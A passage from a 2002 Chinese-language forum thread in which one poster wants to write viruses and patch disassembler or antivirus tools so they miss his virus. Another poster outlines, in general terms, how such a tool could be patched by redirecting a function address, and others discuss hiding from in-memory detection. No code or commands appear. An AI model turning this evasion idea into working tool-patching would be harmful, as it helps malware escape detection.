只要能成功的改一个,是它能反其他病毒,但反不了我的 我就心满意足,是病毒总会被干掉的! 大家有兴趣可以研究研究吗!!! |
|
|
13楼#
发布于:2002-07-11 18:32
我个人认为,不必改所有反汇编工具,那当然不可能了 一个字,费力不讨好 还是劝你不要在这方面浪费时间了,真的没用的。 |
|
|
14楼#
发布于:2002-07-11 18:55
看来版主是极力反对我的想法了,可能是有点不切实际!
昨天我说要写Linux病毒,有人反对,今天又被反对,命苦啊! 555555555555555555555555 不过还是要谢谢大家给我的意见! 青春无限!青春无限! |
|
|
15楼#
发布于:2002-07-11 19:06
看来版主是极力反对我的想法了,可能是有点不切实际! 我支持你写Linux病毒,非常支持,以后我还要向你讨教。 不过你说这反汇编的事,算了吧,不是反对,而是这想法会让你浪费大量时间最后又得不到结果 |
|
|
16楼#
发布于:2002-07-11 19:17
我个人认为,不必改所有反汇编工具,那当然不可能了 //================[0 0]===================================== 0 可以改掉的了,只要你在反汇编工具(防汇编工具也是程序,既然是程序肯定有函数入口),只要你从代码函数附近找到不怎么重要的那一段代码(这需要对特征码有很深研究的才能准确的找到)填入你的相应处理函数的地址就可以了)。(为程序打补丁。。。。。。。HE HE――) //===============[KILL]==================================== |
|
17楼#
发布于:2002-07-11 19:33
反病毒的人果然是高手,如果在Linux下可以用管道去实现,在
WINDOWS里不知有什么好一点,方便一点的方法? 我不懂特征码那一套东西! 青春无限!青春无限! |
|
|
18楼#
发布于:2002-07-11 19:46
各位病毒大侠,有没有人深入分析过反汇编工具代码,如果有一个 //===============[0 0]===================================== 0 找不到是不可能的了(你病毒要执行,那你肯定有初始化的过程,你也需要在内存中,只要你在内存那就很容易被找到(不管是有进程实体或者是成为系统一部分的病毒都能够找到的 //=============[KILL]====================================== |
|
19楼#
发布于:2002-07-11 20:01
但是可以最大限度的隐藏,看来你们杀毒的对怎样在内存中找
病毒是研究很深入的啊!病毒和反病毒永远是你来我去,是分 不出胜负的,这点我想大家应该都同意吧! 青春无限!青春无限! |
|
|
上一页
下一页